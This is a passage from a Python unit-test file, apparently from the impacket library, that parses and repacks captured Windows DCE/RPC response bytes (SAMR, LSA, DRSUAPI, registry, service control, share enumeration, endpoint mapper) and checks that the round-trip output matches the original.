\\x00\\x00\\x00\\x00\\x00\\x00\\xd3\\x00\\x00\\x00\\x00\\x00\\x00\\x00y\\xfe\\xe2\\x0b\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x86-\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x006\\x1aV\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x9d0\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        ncChanges = DRSGetNCChangesResponse()\n        ncChanges.fromString(getNCChangesResponse)\n        output = ncChanges.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(getNCChangesResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(getNCChangesResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(getNCChangesResponse), len(output))\n\n    def test_5(self):\n        #<class 'impacket.dcerpc.v5.samr.SamrLookupNamesInDomainResponse'>\n        samrLookupNamesInDomainResponse = b'\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\xf4\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        hexdump(samrLookupNamesInDomainResponse)\n        samrLookupNamesInDomain = SamrLookupNamesInDomainResponse()\n        samrLookupNamesInDomain.fromString(samrLookupNamesInDomainResponse)\n        samrLookupNamesInDomain.dump()\n        output = samrLookupNamesInDomain.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(samrLookupNamesInDomainResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(samrLookupNamesInDomainResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(samrLookupNamesInDomainResponse, output)\n\n    def test_6(self):\n        lsarGetUserNameResponse = b'\\x00\\x00\\x02\\x00\\n\\x00\\x0c\\x00\\x04\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00a\\x00d\\x00m\\x00i\\x00n\\x00\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        hexdump(lsarGetUserNameResponse)\n        lsarGetUserName = LsarGetUserNameResponse()\n        lsarGetUserName.fromString(lsarGetUserNameResponse)\n        lsarGetUserName.dump()\n        output = lsarGetUserName.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(lsarGetUserNameResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(lsarGetUserNameResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(lsarGetUserNameResponse, output)\n\n    def test_8(self):\n        lsarLookupSids2Response = b'\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\xef\\xef\\xef\\xef\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\x00\\x10\\x00\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00\\xee\\xee\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x02\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xab\\xab\\xab\\xab\\x1a\\x00\\x1a\\x00\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xab\\xab\\xab\\xab\\n\\x00\\n\\x00\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00A\\x00d\\x00m\\x00i\\x00n\\x00i\\x00s\\x00t\\x00r\\x00a\\x00t\\x00o\\x00r\\x00\\xab\\xab\\xab\\xab\\xab\\xab\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00G\\x00u\\x00e\\x00s\\x00t\\x00\\xbf\\xbf\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        hexdump(lsarLookupSids2Response)\n        lsarLookupSids2 = LsarLookupSids2Response(isNDR64=True)\n        lsarLookupSids2.fromString(lsarLookupSids2Response)\n        lsarLookupSids2.dumpRaw()\n        output = lsarLookupSids2.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(lsarLookupSids2Response), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(lsarLookupSids2Response)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(lsarLookupSids2Response, output)\n\n    def test_88(self):\n        baseRegEnumValueResponse = b' \\x00\\xc8\\x00\\x00\\x00\\x02\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00R\\x00e\\x00g\\x00i\\x00s\\x00t\\x00e\\x00r\\x00e\\x00d\\x00O\\x00w\\x00n\\x00e\\x00r\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00M\\x00i\\x00c\\x00r\\x00o\\x00s\\x00o\\x00f\\x00t\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        hexdump(baseRegEnumValueResponse)\n        baseRegEnumValue= BaseRegEnumValueResponse(isNDR64=False)\n        baseRegEnumValue.fromString(baseRegEnumValueResponse)\n        baseRegEnumValue.dumpRaw()\n        output = baseRegEnumValue.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(baseRegEnumValueResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(baseRegEnumValueResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(baseRegEnumValueResponse, output)\n\n    def test_9(self):\n        rCreateServiceWResponse = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00ZU\\x81\\xedB>RL\\xb9v\\xb1\\xe3\\xc5?~\\x15\\x00\\x00\\x00\\x00'\n        hexdump(rCreateServiceWResponse)\n        rCreateServiceW= RCreateServiceWResponse(isNDR64=False)\n        rCreateServiceW.fromString(rCreateServiceWResponse)\n        rCreateServiceW.dumpRaw()\n        output = rCreateServiceW.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(rCreateServiceWResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(rCreateServiceWResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(rCreateServiceWResponse, output)\n\n    def test_10(self):\n        netrShareEnum = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbc\\xbc\\xbc\\xbc\\x00\\x00\\x00\\x00\\xbd\\xbd\\xbd\\xbd\\xfc\\xb1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbc\\xbc\\xbc\\xbc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n        request = srvs.NetrShareEnum(isNDR64=True)\n        request['ServerName'] = NULL\n        request['PreferedMaximumLength'] = 0xffffffff\n        request['ResumeHandle'] = NULL\n        request['InfoStruct']['ShareInfo']['tag'] = 0\n        request['InfoStruct']['ShareInfo']['Level0']['Buffer'] = NULL\n        request['InfoStruct']['Level'] = 0\n        output = request.getData()\n        hexdump(netrShareEnum)\n        print(\"ORIG: %d, REPACKED: %d\" % (len(netrShareEnum), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(netrShareEnum)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        self.assertEqual(len(netrShareEnum), len(output))\n\n    def test_11(self):\n        ept_lookup_resp = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa1\\x00\\x00\\x00\\xf3\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xa1\\x00\\x00\\x00\\xba\\x94Rv\\xbc`\\xb8H\\x92\\xe9\\x89\\xfdwv\\x9d\\x91\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xba\\x94Rv\\xbc`\\xb8H\\x92\\xe9\\x89\\xfdwv\\x9d\\x91\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xba\\x94Rv\\xbc`\\xb8H\\x92\\xe9\\x89\\xfdwv\\x9d\\x91\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xba\\x94Rv\\xbc`\\xb8H\\x92\\xe9\\x89\\xfdwv\\x9d\\x91\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xeei\\x86\\xb0\\xb5\\x8c\\xa5C\\xa0\\x17\\x84\\xfe\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xeei\\x86\\xb0\\xb5\\x8c\\xa5C\\xa0\\x17\\x84\\xfe\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\xeei\\x86\\xb0\\xb5\\x8c\\xa5C\\xa0\\x17\\x84\\xfe\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xddtermsrv\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly name\\x00\\xdd\\x0c\\x13\\xefR\\xfd\\x08\\x88C\\x86\\xb3n\\xdf\\x00\\x00\\x00\\x01\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00Secure Desktop LRPC interface\\x00\\xdd\\xdd\\xeei\\x86\\xb0\\xb5\\x8c\\xa5C\\xa0\\x17\\x84\\xfe\\x00\\x00\\x00\\x01\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00DHCP Client LRPC Endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00DHCP Client LRPC Endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00DHCP Client LRPC Endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00DHCP Client LRPC Endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00DHCP Client LRPC Endpoint\\x00\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00DHCPv6 Client LRPC Endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00DHCPv6 Client LRPC Endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00DHCPv6 Client LRPC Endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00DHCPv6 Client LRPC Endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00NRP server endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00NRP server endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00NRP server endpoint\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00Event log TCPIP\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00Event log TCPIP\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00Event log TCPIP\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00IP Transition Configuration endpoint\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00IP Transition Configuration endpoint\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00IP Transition Configuration endpoint\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1d\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00IP Transition Configuration endpoint\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00IP Transition Configuration endpoint\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1f\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00IP Transition Configuration endpoint\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00IKE/Authip API\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00IKE/Authip API\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00IKE/Authip API\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00#\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00IKE/Authip API\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00IKE/Authip API\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00%\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00IKE/Authip API\\x00\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00XactSrv service\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00XactSrv service\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00XactSrv service\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00)\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00XactSrv service\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00*\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00XactSrv service\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00+\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00,\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00-\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00/\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x001\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x002\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x004\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x005\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x006\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x007\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x008\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x009\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xdd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xdd\\xdd\\xddsens\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly name\\x00\\xddsens\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly name\\x00\\xddsens\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00Impl friendly 